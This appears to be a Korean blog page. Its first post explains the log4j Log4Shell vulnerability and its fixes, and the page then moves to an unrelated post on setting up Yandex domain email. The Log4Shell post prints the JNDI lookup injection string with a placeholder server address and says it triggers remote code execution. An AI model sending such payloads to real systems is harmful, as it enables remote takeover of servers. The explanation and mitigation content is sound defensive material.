log4j – 0 day vulnerability

logging for java – 이미 유행 좀 지났지만… 생각났던거 다시 정리
0 day vulnerability 는 개발자보다 공격자가 먼 알아낸 문제점으로
0일부터 현재까지 모든 날짜가 위험했다는 의미

참고

  • https://nakedsecurity.sophos.com/2021/12/10/log4shell-java-vulnerability-how-to-safeguard-your-servers/
  • https://blog.alyac.co.kr/4341
  • https://spring.io/blog/2021/12/10/log4j2-vulnerability-and-spring-boot
  • https://medium.com/s2wlab/logs-of-log4shell-cve-2021-44228-log4j-is-ubiquitous-kr-fb50a6458a08

해결법

며칠동안 난리났던 log4j 0-day vulnerability
– org.apache.logging.log4j:log4j-core:2.15.0 이하 버전에서 문제 발생
2.16으로 업글하거나
옵션값 수정 formatMsgNoLookup=true
log4j 다른 로거로 전환

log4j 다른 로거로 전환

log4j는 자바에서 제일 많이 쓰이던 로깅 라이브러리 였다?
아직도 쓰는건 대부분 레거시 시스템 아니었을까
몇 가지 의존성을 추가하면 logback등 다른 로거로 쉽게 전환이 가능게 되서
대부분 시스템은 전환이 완료되었을거다

요즘엔 로거를 별도로 구현하거나 선언하는 경우는 잘 없고
표준 로깅 인터페이스링 slf4j를 통해서 사용한다
구현체를 쉽게 교체할 수 있도록

스프의 경우 기본적으로 아래의 의존성을 가지고 있는데

implementation 'ch.qos.logback:logback-classic' // logback 기본
implementation 'org.slf4j:jul-to-slf4j' // jul 로거를 slf4j로 연결
implementation 'org.slf4j:log4j-over-slf4j' // log4j 로거를 slf4j로 연결

취약점 설명

이 취약점은 마인크래프트서버에서 처음 발견됐다고 한다
마인크래프트 채팅창에 특정 문자열을 입력하면
log4j에서 로깅하는 과정에
log.info(“user chatting {}”, chatting_message);
같은게 입력되면 jndi lookup 동작..
sql injection과 유사한 공격인데 꼭 막혀있어야 하는 부분인데 뚫려있었던게 문제

${jndi:ldap://서버접속주소}

이렇게 메시지를 보내면 코드를 실행시켜버린다.
애플리케이션이 root로 실행되고 있었다면 root도 획득 가능

무료 기업용?도메인 이메일 주소 서비스yandex

미제의 패악질을 참지 못한 불곰 형님들이 무료 도메인 서비스를 개시했다. 서비스 개 후진 양아치 네이버나 착하지만 서비스는 더 꾸진 다음하고 비교대상이 아니다.
그럭저럭 쓸만한 메일플러그와 같은 국내 서비스도 있긴한데..

회사 운영하는 것도 아니고 개인용으로 쓸만한 적당한 계정을 찾다보니 yandex라는 러시아 포탈서비스를 찾았다.

여윾시 글로벌 시대랄까…

10년후엔 아프리카 서비스를 쓰게 될지도 모르겠다.
아프리카 서비스는 유럽 제국주의자들 덕분에 편하게 쓰겠군..

사용법은… 그냥 매우 쉽다.

yandex.com 에서 가입하고
https://connect.yandex.com/pdd/
여기서 도메인 추가 해 주면 된다.

  1. TXT 관리에다가 뭐 좀 써주고
  2. MS정보랑 SRV. CNAME 써주면 완료